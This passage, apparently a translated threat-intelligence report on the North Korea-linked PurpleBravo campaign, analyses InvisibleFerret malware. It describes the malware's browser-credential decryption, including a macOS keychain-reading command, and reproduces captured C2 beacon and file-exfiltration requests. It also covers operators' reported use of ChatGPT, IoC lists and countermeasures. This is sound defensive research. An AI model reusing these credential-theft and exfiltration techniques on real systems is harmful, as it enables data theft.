Local State-Datei, um dieos_crypt.encrypted_key-Datei Base64-zu-dekodieren, entfernt das DPAPI-Präfix, entpackt den Hauptschlüssel mitCryptUnprotectDataund entschlüsselt dann dieLogin Data-Dateien (Passwortmanager) unter Verwendung des v80+ AES-GCM-Layouts von Chrome, wie in einem öffentlichen Proof-of-Concept dokumentiert . - Unter Linux verwendet es secretstorage, um den Eintrag „Safe Storage“ des Browsers (historisch standardmäßig „peanuts“) auszulesen und leitet daraus einen 16-Byte-Schlüssel mit PBKDF2 und dem Salt „saltysalt“ für die AES-CBC-Entschlüsselung ab, was weit verbreiteten Beispielen und Code entspricht.
- Auf macOS wird der Befehl
security 2>&1 > /dev/null find-generic-password -gaausgeführt, um das Safe Storage-Geheimnis zu erhalten und den Entschlüsselungsschlüssel mit PBKDF2-HMAC-SHA1 (1003 Iterationen) vor der AES-CBC-Entschlüsselung abzuleiten, was mit langjährigen Berichten übereinstimmt . - Eine ähnliche Logik zur Enumeration und Entschlüsselung mehrerer Browser und Profile findet sich auch in LaZagne und anderen plattformübergreifenden Extraktoren, was darauf hindeutet, dass der Code sehr wahrscheinlich aus solchen Quellen stammt.
Führungs- und Kontrollprotokoll
InvisibleFerret trennt Kontrolle und Datenerfassung auf zwei Dienste auf:
- Ein persistenter, RAW TCP-Interaktionskanal mit einem einfachen 4‐Byte Big-Endian-Header, gefolgt von UTF-8 JSON.
- Ein HTTP-Dienst mit verschiedenen Endpunkten, initialem Beaconing, Senden von Systeminformationen, Exfiltration und Payload-Zustellung. Alle beobachteten Übertragungen erfolgen im Klartext.
Abbildung 12 veranschaulicht die oben beschriebene Zweikanal-C2-Struktur. Die Malware unterhält zwei aktive C2-Kanäle, die gleichzeitig arbeiten, um den Infektionszyklus und die Datenexfiltration zu steuern.
Der HTTP-Kanal verarbeitet die initialen Systembeacons, die Lieferung von Nutzlasten und die Datenexfiltration über Endpunkte /keys, /uploads, /browund /adc. Parallel dazu hält der persistente TCP-Kanal eine langlebige Sitzung für interaktive Aufgaben über eine strukturierte Befehlsschleife aufrecht.
Über die persistente Verbindung kann der C2-Server operative Befehle ausgeben, wie z. B. ssh_obj (Ausführung einer Remote-Shell), ssh_upload (Exfiltration von Dateien) oder ssh_env (Diebstahl von Umgebungsdateien), die den Client anweisen, zusätzliche Aktionen durchzuführen oder mit den HTTP-Endpunkten für gestaffelte Downloads und Uploads zu interagieren.
Persistenter Kanal
Die über den persistenten Kanal übertragenen Daten folgen einem benutzerdefinierten Protokoll, das einen 4 Byte langen Big-Endian-Header gefolgt von UTF-8 JSON enthält. Die Felder des JSON-Objekts variieren je nach Befehl, enthalten aber alle ein Feld „code“, das den auszuführenden Befehl und seine Ausgabe angibt, sowie ein Feld „Admin“ zur ID-/Sitzungsverfolgung. Abbildung 13 zeigt den Befehl 1 (ssh_obj), der einen Befehl ausführt. In diesem Fall wird der Befehl whoami ausgeführt und die Ausgabe zurückgegeben.
C2 Sends command to victim
{"code": 1, "args": {"admin": "c2_admin", "cmd":" whoami"}}
Victim response to C2
{"code": 1, "args": {"admin": "c2_admin", "output": "desktop-oe4499i\\admin\r\n"}}
Abbildung 13: InvisibleFerret Whoami-Befehl an infizierten Wirt gesendet (Quelle: Recorded Future)
HTTP-Kanal
Der HTTP-C2-Kanal verwendet mehrere Endpunkte, um initiale Beaconing-Signale zu senden, Systeminformationen zu übertragen, die Datenexfiltration zu ermöglichen und Nutzdaten zuzustellen. Die gesamte beobachtete Kommunikation erfolgt im Klartext.
- Erstes Leuchtfeuer (
/keys): Führt eine HTTP-POST-Anfrage an den/keys-Endpunkt aus, die einen Zeitstempel (ts) sowie fest codierte Parameter (typeundhidenthält). Die Anfrage enthält außerdem die Ausgabe dersys_info-Funktion, die Details wie die OS-Version, den System-Hostnamen, den Benutzernamen und die UUID sammelt. Zusätzlich überträgt das Beacon Geostandortdaten, darunter die öffentliche IP-Adresse, den Internetdienstanbieter, den ungefähren physischen Standort und die Zeitzone.
POST /keys HTTP/1.1
Host: 192[.]168[.]60[.]131:1224
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 705
Content-Type: application/x-www-form-urlencoded
ts=1763394532576&type=9&hid=902_DESKTOP-OE4499I&ss=sys_info&cc=%7B%27sys_info%27%3A+%7B%27uuid%27%3A+%271ddb90ee672c86e09168792871f6d6d00919b57d24da98d91764e292e765cd29%27%2C+%27system%27%3A+%27Windows%27%2C+%27release%27%3A+%2710%27%2C+%27version%27%3A+%2710.0.19041%27%2C+%27hostname%27%3A+%27902_DESKTOP-OE4499I%27%2C+%27username%27%3A+%27admin%27%7D%2C+%27net_info%27%3A+%7B%27lat%27%3A+36.1539%2C+%27lon%27%3A+-95.9927%2C+%27zip%27%3A+%27%27%2C+%27isp%27%3A+%27Google+LLC%27%2C+%27city%27%3A+%27Tulsa%27%2C+%27query%27%3A+%27107.167.165.11%27%2C+%27country%27%3A+%27United+States%27%2C+%27timezone%27%3A+%27America+Chicago%27%2C+%27regionName%27%3A+%27Oklahoma%27%2C+%27internalIp%27%3A+%27%27%7D%7D
Abbildung 14: InvisibleFerret HTTP POST-Initialisierung auf C2 (Quellen: Recorded Future
- Browsermodul herunterladen (
/brow): Lädt den Browser-Stealer nach~/.n2/bowherunter - Lädt das AnyDesk-Modul herunter (
/adcLädt die AnyDesk-Software auf~/.n2/adcherunter; PurpleBravo wurde zuvor dabei beobachtet, AnyDesk nach Kompromiss auf den Rechnern der Opfer zu installieren. - Dateiexfiltration (/
uploads): Exfiltriert Dateien oder Verzeichnisse mittels einer HTTP-POST-Anfrage an den Endpunkt/uploadsunter Verwendung von Multipart-Formulardaten mit dem Taguts; Dateinamen werden mit einem Unix-Zeitstempel versehen.
POST /uploads HTTP/1.1
Host: 192[.]168[.]60[.]131:1224
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 482
Content-Type: multipart/form-data; boundary=bb167fc8cdca3b8c009dab3ec460be7c
--bb167fc8cdca3b8c009dab3ec460be7c
Content-Disposition: form-data; name="type"
9
--bb167fc8cdca3b8c009dab3ec460be7c
Content-Disposition: form-data; name="hid"
902_DESKTOP-OE4499I
--bb167fc8cdca3b8c009dab3ec460be7c
Content-Disposition: form-data; name="uts"
/home/admin/Desktop/
--bb167fc8cdca3b8c009dab3ec460be7c
Content-Disposition: form-data; name="multi_file"; filename="1763395540_r.txt"
this is a test can you see it?
--bb167fc8cdca3b8c009dab3ec460be7c--
Abbildung 15: InvisibleFerret HTTP POST-Uploads zu C2 (Quelle: Recorded Future)
Network Intelligence
Mithilfe von Recorded Future Network Intelligence identifizierte die Insikt Group 3.136 einzelne IP-Adressen, die mit wahrscheinlichen Zielen von PurpleBravo-Aktivitäten im Zeitraum von August 2024 bis September 2025 in Verbindung stehen, wobei ein signifikanter Schwerpunkt in Südasien und Nordamerika liegt. PurpleBravo hat sich bis 2025 konsequent auf Personen konzentriert, die für Einheit in Südasien arbeiten. Insikt Group merkt an, dass dies auf der Sichtbarkeit von Recorded Future basiert und ein vollständiges Bild der Aktivitäten von PurpleBravo anders aussehen könnte. Während PurpleBravo Softwareentwickler mit fiktiven Stellenangeboten ins Visier nimmt, hat Insikt Group Beweise dafür gefunden, dass Kandidaten auf Firmengeräten bösartige Programmieraufgaben annehmen und dadurch ihre Arbeitgeber gefährden. Viele dieser Organisationen sind im Bereich IT-Dienstleistungen tätig, darunter auch Dienstleistungen zur Verstärkung des IT-Personals. Während sich Organisationen weltweit auf die PurpleDelta-Bedrohung konzentrieren und versuchen, betrügerische IT-Fachkräfte zu identifizieren und an deren Beschäftigung zu hindern, schätzt die Insikt Group ein, dass die Lieferkette für IT-Software ebenso anfällig für die Infiltration durch nordkoreanische, staatlich geförderte Bedrohungen ist.
Abbildung 16: Karte der wahrscheinlichen PurpleBravo-Ziele nach Nummer (Quelle: Recorded Future)
Unter den wahrscheinlichen Zielen der Aktivitäten von PurpleBravo identifizierte die Insikt Group zwanzig potenzielle Opferorganisationen auf der Grundlage von Netzwerkkommunikationen. Die Organisationen sind in den Bereichen AI, Kryptowährungen, Finanzdienstleistungen, IT-Dienstleistungen, Marketing und Softwareentwicklung in Belgien, Bulgarien, Costa Rica, Indien, Italien, den Niederlanden, Pakistan, Rumänien, den Vereinigten Arabischen Emiraten (VAE) und Vietnam tätig. Viele dieser Organisationen werben mit großen Kundenstämmen, was ein akutes Lieferkettenrisiko für Unternehmen darstellt, die Arbeit in diesen Regionen auslagern.
Verwaltungskommunikation
Recorded Future beobachtete administrative Kommunikationen mit PurpleBravo C2-Servern von mehreren IP-Adressen aus, darunter 151 Astrill VPN-Knoten (siehe Anhang C). In einigen Fällen wurden administrative Kommunikationsvorgänge von einem einzigen Astrill-VPN-Knoten zu bis zu sechs verschiedenen C2-Servern beobachtet. Insikt Group und andere Anbieter von Cybersicherheitslösungen haben bereits beobachtet, dass Betreiber von PurpleBravo und PurpleDelta Astrill VPN in ihren Abläufen einsetzen. Recorded Future beobachtete im Juli und August 2025 auch IP-Adressen von autonomen Systemen in China, die mit den Verwaltungs-Ports von BeaverTail C2 kommunizierten, darunter einige, die in Changchun und Siping in der Provinz Jilin in China, nahe der nordkoreanischen Grenze, verortet waren, wo bekanntermaßen nordkoreanische Bedrohungsgruppen operieren (siehe Anhang D).
PurpleBravo und PurpleDelta Überlappung
Wie bereits erwähnt, betrachten einige Organisationen PurpleBravo und PurpleDelta als ein und dieselbe Kampagne, während andere Berichterstattung diese Gruppen getrennt hält. Die Insikt Group hat sich ebenfalls dafür entschieden, diese Gruppen getrennt zu halten, hat aber mehrere Überschneidungspunkte festgestellt. Zum Beispiel identifizierten Forscher von SentinelOne im September 2025 die E-Mail-Adresse hundredup2023[@]gmail[.]com , die unbeabsichtigt in einem Skript auf einem PurpleBravo (Contagious Interview) Malware-Verteilungsserver offengelegt wurde. Mithilfe von Recorded Future Identity Intelligence konnte die Insikt Group feststellen, dass die Person hinter der Adresse mit hoher Wahrscheinlichkeit auch ein PurpleDelta-Operator ist.
We determined that the owner of the email address hundredup2023[@]gmail[.]com was observed using AnyDesk remote desktop software and Astrill VPN, two applications commonly used by PurpleDelta. We also observed the process CallRI[.]exe, which is very likely an internal chat tool used between PurpleDelta operators, running on the system. Moreover, while the system time, pattern of life, and virtual private server (VPS) suggest the operator was using personas located in Eastern Europe, the operator consistently used the Hong Kong version of Google with simplified Chinese, suggesting they were physically located in East Asia.
Aus dem Infostealer-Protokoll ging hervor, dass der Betreiber durchgehend an Remote-Jobs in der Golang-Softwareentwicklung in den Vereinigten Staaten interessiert war. Insikt Group beobachtete, wie der Betreiber versuchte, den Dienst SSN24 zu nutzen, einen automatisierten Dark-Web-Shop, der sich auf den Verkauf von personenbezogenen Daten (PII) spezialisiert hat, sowie mehrere Telegram-Kanäle, die LinkedIn- und Upwork-Konten verkaufen. Die Insikt Group stellte außerdem fest, dass der Betreiber die Kryptowährungsbörse MEXC Exchange nutzte. Der Betreiber wurde auch bei der Nutzung von proxy-seller[.]com beobachtet. , powervps[.]net residentialvps[.]com , lunaproxy[.]com , und sms-activate[.]io , wahrscheinlich um Infrastruktur zu erwerben. Mindestens zwei AI Tools, Perplexity und ChatGPT, unterstützten den Betreiber beim Verfassen von berufsbezogenen E-Mails und gaben Hinweise für Bewerbungen auf Upwork, einer Website für freiberufliche Jobs. Der Betreiber installierte außerdem die LazyApply-Erweiterung auf seinem Webbrowser, ein Tool, das Bewerbungen auf mehreren Jobportalen automatisiert.
Die Insikt Group stellte fest, dass die folgenden zusätzlichen E-Mail-Adressen auf demselben System verwendet wurden:
- aaron19101301[@]gmail[.]com
- cryptofan1013[@]gmail[.]com
- techsavvy001013[@]outlook[.]com
- domin61013[@]outlook[.]com
- rico.gonzalez1013[@]gmail[.]com
Die Insikt Group entdeckte außerdem eine E-Mail-Adresse im System des Betreibers, die offenbar zu einem legitimen Softwareentwicklungsunternehmen in Rumänien gehört. Es ist unklar, ob der Bediener bei der Organisation angestellt war oder sie lediglich imitierte; die Namensübereinstimmung zwischen der oben genannten persönlichen Gmail-Adresse und der Breakpoint IT-E-Mail-Adresse lässt jedoch auf eine Verbindung schließen.
Die Namen Aaron Porchia, Aaron Taylor und Aaron Ham wurden häufig gesehen, zusammen mit einem Namen, der wie ein koreanischer Name aussieht: Ham Gon Il (함건일). Die Insikt Group konnte nicht eindeutig feststellen, ob der koreanische Name auch als Pseudonym verwendet wird. Der Betreiber verwendet ein GitHub-Konto mit dem Benutzernamen „ domin191013“, das zum Zeitpunkt der Erstellung dieses Dokuments aktiv ist. Unter den GitHub-Nutzern, denen „domin191013“ folgt, befindet sich das Profil „ adonistoday“, ein Account, der viele typische Merkmale eines PurpleDelta-Operators aufweist. Der Nutzer, der sich auf das Profil „adonistoday“ konzentriert, folgt einer bekannten PurpleDelta GitHub-Persona, „ smartdev022“. Diese Links verdeutlichen weitere Überschneidungen mit bekannten PurpleDelta-Operationen.
Daten von Recorded Future Identity Intelligence zeigen, dass der PurpleBravo-Operator möglicherweise mit einer Remote-Desktop-Sitzung verbunden war, die auf der IP-Adresse 135[.]181[.]7[.]162 gehostet wurde, wobei das GitHub-Profil „domin191013“ im Webbrowser geöffnet war. Zum Zeitpunkt des Zugriffs verwendete das GitHub-Profil den Alias „Aaron“, was mit der oben genannten E-Mail-Adresse und den Namen übereinstimmt; aktuell verwendet das Profil jedoch den Alias „Boris“, wie in Abbildung 17 dargestellt.
Der Betreiber von PurpleBravo wurde außerdem bei der Nutzung einer Online-Meeting-Anwendung namens „CoolEx“ beobachtet, die in öffentlich zugänglichen Quellen als bösartige Betrugssoftware gekennzeichnet ist. In ihrem Browserverlauf stießen sie auf einen Telegram-Chat mit einem Nutzer, der zuvor dabei beobachtet worden war, wie er Malware über den CoolEx-Betrug verbreitete, und anschließend auf einen wahrscheinlich gefälschten CoolEx-Meeting-Link. Es ist unklar, ob der Betreiber von PurpleBravo Opfer dieses Betrugs wurde; da sich jedoch eine CoolEx-Anwendung auf dem System der betreffenden Person befindet, geht Insikt Group davon aus, dass diese die schädliche Anwendung installiert hat.
Network Intelligence
Die Insikt Group beobachtete die IP-Adresse 188[.]43[.]33[.]252 Kommunikation mit drei PurpleBravo C2-Servern (Tabelle 4). Obwohl die Insikt Group die genaue Art der Kommunikation nicht ermitteln konnte, gehen wir davon aus, dass die Betreiber von PurpleBravo von dieser IP-Adresse aus ihre C2-Infrastruktur testeten. Die IP-Adresse 188[.]43[.]33[.]252 ist der Aktiengesellschaft Transtelecom zugeordnet und in Russland geolokalisiert. Dieselbe Transtelecom-IP-Adresse ist auch mit Aktivitäten von PurpleDelta verknüpft.
66[.]235[.]175[.]117
67[.]203[.]7[.]205
66[.]235[.]175[.]109
Tabelle 4: Beobachtete PurpleBravo C2-Server, die mit der Transtelecom-IP-Adresse kommunizieren (Quelle: Recorded Future)
Frühere Berichte Insikt Group Berichterstattung haben auch gelegentliche Überschneidungen zwischen den Aktivitäten von PurpleBravo und PurpleDelta aufgedeckt, wobei mindestens eine mit PurpleBravo verbundene Person eine mit PurpleDelta verbundene GitHub-Persona betreibt. Angesichts der oben genannten umfangreichen Beweise, die darauf hindeuten, dass der Betreiber der E-Mail hundredup2023[@]gmail[.]com Mitglied von PurpleDelta ist, sowie der Gemeinsamkeiten im Netzwerkverkehr, liegt die Vermutung nahe, dass es Überschneidungen zwischen den Gruppen gibt.
Gegenmaßnahmen
- Nutzen Sie Bedrohungsinformationen Recorded Future : Kunden Recorded Future können dieser Bedrohung proaktiv entgegenwirken, indem sie die Daten der Recorded Future Intelligence Operations Platform operationalisieren, insbesondere durch die Nutzung kontinuierlich aktualisierter Risikolisten und durch das Blockieren von IP-Adressen, die mit PurpleBravo C2-Servern in Verbindung stehen, um die Kommunikation mit bösartiger Infrastruktur zu unterbinden.
- Nutzen Sie Recorded Future Network Intelligence: Setzen Sie die Ereignisse der Malicious Traffic Analysis von Recorded Futureein, um proaktiv Server zu identifizieren, die an PurpleBravo-Aktivitäten beteiligt sind, sowie die gezielte Infrastruktur und Angriffstaktiken TTPs, unterstützt durch Network Intelligence und andere proprietäre Methoden.
- Nutzen Sie Recorded Future Berichterstattung: Konfigurieren Sie Warnung in der Recorded Future Intelligence Operations Platform, um Insikt Group Berichterstattung über PurpleBravo-Aktivitäten zu verfolgen.
- Pflegen Sie eine separate Watchlist für PurpleBravo Kampagne für Kompromittierung (IoCs), Hosting-Anbieter, Astrill VPN Knoten und Lockvogelmarken.
- Blockieren Sie direkten HTTP/S-Datenverkehr zu nicht standardmäßigen Ports, wie z. B. den Ports 1224 und 1244, die häufig für C2-Operationen bei PurpleBravo missbraucht werden.
- Beschränken Sie
npm installundgo getauf erlaubte Registries und spiegeln Sie Caches mit Malware-Scan;SLSA-Herkunftsnachweise benötigen, also Dokumente, die Metadaten über ein Softwareartefakt erfassen und den Ort, die Zeit und den Prozess zur Erstellung für Drittanbieter-Code in kritischen Repositorien detailliert beschreiben. - Suche nach Base64-Decodierungen und XOR-Schleifen in JS-Dateien, die in Entwicklerprofilen verwendet werden; kennzeichne Repositories, die diese Unterschiede einführen.
- Erkennung von Builds für Go-Binärdateien mit eingebetteten HackBrowserData-Artefakten oder Zugriff auf mehrere Browserprofile in weniger als 60 Sekunden.
- Verlangen Sie von Auftragnehmern die Verwendung von firmeneigenen, bei Endpoint Recognition and Antwort (EDR) registrierten Geräten oder einer sicheren virtuellen Desktop-Infrastruktur (VDI); verbieten Sie BYOD-Richtlinien (Bring Your Own Device) für Entwicklerrollen.
- Bieten Sie den Mitarbeitern Schulungen zur Sensibilisierung für Sicherheitsthemen im Zusammenhang mit gängigen PurpleBravo-Methoden, Social-Engineering-Themen und Taktiken, TTPs ( TTPs ,TTPs) an; richten Sie klare Wege ein und kommunizieren Sie diese, damit die Mitarbeiter verdächtige externe Kontakte oder potenzielle Malware-Infektionen sicher an die internen Sicherheitsteams melden können.
Ausblick
PurpleBravo hat seit der ersten öffentlichen Aufdeckung der Gruppe im November 2023 ein hohes operatives Tempo beibehalten. Der Umfang der PurpleBravo-Infrastruktur, der zum Zeitpunkt dieses Berichts erkennbar ist, lässt darauf schließen, dass die Gruppe mit ihren Geschäftstätigkeiten erfolgreich war und diesen Kurs in naher Zukunft voraussichtlich beibehalten wird. Während die Angriffe der Gruppe auf Softwareentwickler global ausgerichtet sind, hat sie, wie aus diesem Bericht hervorgeht, auch die Region Südasien in besonderem Maße ins Visier genommen. Auch wenn der Diebstahl von Kryptowährungen der Hauptfokus der Gruppe sein mag, sind viele der Kompromiss-Organisationen in anderen Bereichen tätig, nämlich in der Softwareentwicklung und im IT-Dienstleistungssektor. Dies stellt ein akutes Lieferkettenrisiko für Organisationen dar, die auf einzelne Auftragnehmer angewiesen sind oder ihre IT-Dienstleistungen auslagern. Während die Bedrohung durch die Anstellung von IT-Fachkräften in Nordkorea weithin bekannt ist, verdient das Risiko der PurpleBravo-Lieferkette die gleiche Aufmerksamkeit, damit sich Unternehmen vorbereiten, verteidigen und den Abfluss sensibler Daten an nordkoreanische Bedrohungsakteur verhindern können.
Anhang A: Diamantmodell
Anhang B: C2-Server
BeaverTail C2 Servers:
14[.]37[.]47[.]13
23[.]106[.]70[.]154
23[.]227[.]202[.]244
38[.]92[.]47[.]85
38[.]92[.]47[.]91
38[.]92[.]47[.]118
38[.]92[.]47[.]151
38[.]92[.]47[.]152
38[.]92[.]47[.]155
45[.]43[.]11[.]201
45[.]59[.]163[.]23
45[.]59[.]163[.]56
45[.]61[.]128[.]61
45[.]61[.]133[.]110
45[.]61[.]135[.]4
45[.]61[.]150[.]30
45[.]61[.]160[.]28
45[.]61[.]165[.]45
66[.]235[.]168[.]17
66[.]235[.]168[.]232
66[.]235[.]168[.]238
66[.]235[.]175[.]109
66[.]235[.]175[.]117
67[.]203[.]7[.]163
67[.]203[.]7[.]200
67[.]203[.]7[.]205
88[.]218[.]0[.]78
107[.]189[.]24[.]80
144[.]172[.]95[.]226
144[.]172[.]100[.]124
144[.]172[.]100[.]142
144[.]172[.]102[.]21
144[.]172[.]102[.]148
144[.]172[.]103[.]97
144[.]172[.]104[.]113
144[.]172[.]105[.]189
144[.]172[.]105[.]235
144[.]172[.]106[.]7
144[.]172[.]106[.]133
144[.]172[.]109[.]98
144[.]172[.]109[.]155
144[.]172[.]112[.]106
146[.]70[.]253[.]107
147[.]124[.]197[.]138
147[.]124[.]212[.]125
147[.]124[.]213[.]19
147[.]124[.]213[.]232
147[.]124[.]214[.]129
147[.]124[.]214[.]131
147[.]124[.]214[.]237
165[.]140[.]85[.]105
165[.]140[.]86[.]154
165[.]140[.]86[.]160
165[.]140[.]86[.]181
165[.]140[.]86[.]227
172[.]86[.]73[.]198
172[.]86[.]109[.]49
172[.]86[.]113[.]115
172[.]86[.]116[.]90
172[.]86[.]123[.]55
176[.]222[.]52[.]77
216[.]126[.]229[.]166
GolangGhost C2 Servers:
31[.]57[.]243[.]29
31[.]57[.]243[.]55
31[.]57[.]243[.]190
38[.]134[.]148[.]218
38[.]146[.]28[.]177
63[.]176[.]219[.]134
151[.]243[.]101[.]229
154[.]58[.]204[.]15
154[.]62[.]226[.]22
158[.]62[.]198[.]177
173[.]211[.]70[.]246
206[.]206[.]127[.]80
206[.]206[.]127[.]135
212[.]81[.]47[.]217
Anhang C: Astrill-VPN-Knoten
Astrill VPN Nodes:
5[.]42[.]206[.]34
23[.]104[.]209[.]6
23[.]106[.]161[.]1
23[.]106[.]169[.]120
23[.]160[.]56[.]155
23[.]228[.]120[.]12
23[.]237[.]33[.]110
23[.]237[.]102[.]130
31[.]7[.]63[.]94
37[.]120[.]151[.]162
37[.]120[.]154[.]98
37[.]120[.]210[.]2
38[.]170[.]181[.]10
38[.]246[.]149[.]2
38[.]32[.]68[.]195
38[.]75[.]136[.]211
38[.]75[.]137[.]97
38[.]75[.]137[.]213
43[.]230[.]201[.]57
43[.]230[.]201[.]68
45[.]126[.]210[.]144
45[.]145[.]68[.]10
45[.]250[.]255[.]59
45[.]250[.]255[.]140
45[.]86[.]208[.]162
50[.]2[.]184[.]50
50[.]7[.]159[.]34
50[.]7[.]251[.]66
50[.]118[.]211[.]10
51[.]195[.]140[.]214
60[.]234[.]42[.]250
60[.]249[.]92[.]67
61[.]218[.]132[.]193
61[.]218[.]138[.]181
61[.]219[.]114[.]7
61[.]221[.]116[.]19
61[.]221[.]116[.]28
61[.]221[.]116[.]109
63[.]143[.]61[.]57
64[.]32[.]17[.]130
66[.]115[.]157[.]242
66[.]150[.]196[.]58
66[.]187[.]75[.]186
67[.]43[.]48[.]10
67[.]43[.]49[.]10
67[.]43[.]54[.]10
70[.]36[.]99[.]82
74[.]63[.]233[.]50
74[.]222[.]14[.]74
74[.]222[.]14[.]83
77[.]247[.]126[.]189
80[.]90[.]48[.]191
82[.]103[.]129[.]80
82[.]223[.]120[.]180
84[.]17[.]38[.]140
84[.]17[.]41[.]94
85[.]195[.]72[.]66
85[.]195[.]119[.]90
89[.]163[.]154[.]155
89[.]187[.]161[.]180
89[.]187[.]161[.]220
89[.]187[.]185[.]11
91[.]207[.]174[.]99
91[.]207[.]206[.]10
91[.]221[.]66[.]87
91[.]239[.]130[.]102
94[.]46[.]23[.]20
95[.]143[.]193[.]150
95[.]216[.]14[.]148
103[.]6[.]219[.]221
103[.]16[.]228[.]16
103[.]50[.]33[.]16
103[.]111[.]113[.]26
103[.]125[.]234[.]62
103[.]125[.]234[.]107
103[.]125[.]234[.]161
103[.]125[.]234[.]210
103[.]130[.]145[.]210
103[.]157[.]217[.]145
103[.]172[.]26[.]58
103[.]214[.]44[.]138
104[.]168[.]14[.]206
104[.]223[.]63[.]2
104[.]223[.]87[.]12
104[.]250[.]131[.]79
104[.]250[.]148[.]58
107[.]150[.]38[.]250
107[.]167[.]25[.]130
107[.]167[.]244[.]42
107[.]172[.]97[.]67
108[.]181[.]41[.]234
118[.]107[.]244[.]171
125[.]227[.]75[.]208
125[.]227[.]80[.]190
125[.]227[.]82[.]145
125[.]227[.]90[.]115
129[.]232[.]193[.]253
134[.]195[.]197[.]175
142[.]214[.]202[.]2
155[.]94[.]199[.]59
158[.]255[.]76[.]195
162[.]251[.]62[.]70
162[.]251[.]70[.]66
166[.]0[.]190[.]170
167[.]160[.]181[.]2
167[.]88[.]61[.]117
167[.]88[.]61[.]148
169[.]38[.]75[.]87
169[.]38[.]98[.]22
170[.]178[.]177[.]178
172[.]96[.]141[.]172
173[.]232[.]230[.]137
173[.]254[.]200[.]134
178[.]159[.]7[.]34
178[.]175[.]128[.]98
185[.]65[.]205[.]130
185[.]135[.]76[.]89
185[.]135[.]76[.]115
185[.]152[.]67[.]39
185[.]183[.]104[.]67
185[.]245[.]80[.]217
192[.]74[.]247[.]161
192[.]119[.]10[.]67
192[.]161[.]60[.]132
193[.]19[.]205[.]26
194[.]33[.]45[.]162
195[.]146[.]5[.]31
198[.]2[.]228[.]23
198[.]23[.]148[.]18
199[.]168[.]112[.]175
199[.]168[.]113[.]31
202[.]87[.]221[.]237
204[.]44[.]96[.]131
204[.]152[.]202[.]111
205[.]234[.]203[.]122
206[.]206[.]127[.]135
208[.]98[.]44[.]2
208[.]115[.]228[.]234
209[.]127[.]228[.]186
211[.]21[.]6[.]136
211[.]21[.]6[.]181
211[.]22[.]147[.]226
211[.]22[.]184[.]184
211[.]72[.]35[.]109
211[.]72[.]35[.]118
211[.]72[.]116[.]247
211[.]75[.]42[.]136
211[.]75[.]74[.]223
212[.]129[.]10[.]242
216[.]45[.]56[.]2
216[.]227[.]145[.]218
217[.]138[.]212[.]194
Anhang D: IP-Adressbereiche in China, die die PurpleBravo-Infrastruktur verwalten
IP Address Ranges in China:
36[.]35[.]56[.]0/24
36[.]49[.]207[.]0/24
36[.]49[.]222[.]0/24
36[.]49[.]223[.]0/24
36[.]104[.]22[.]0/24
36[.]104[.]38[.]0/24
36[.]104[.]182[.]0/24
39[.]144[.]101[.]0/24
42[.]97[.]230[.]0/24
106[.]41[.]253[.]0/24
106[.]41[.]254[.]0/24
116[.]142[.]9[.]0/24
116[.]142[.]10[.]0/24
123[.]173[.]202[.]0/24
223[.]104[.]143[.]0/24
223[.]104[.]144[.]0/24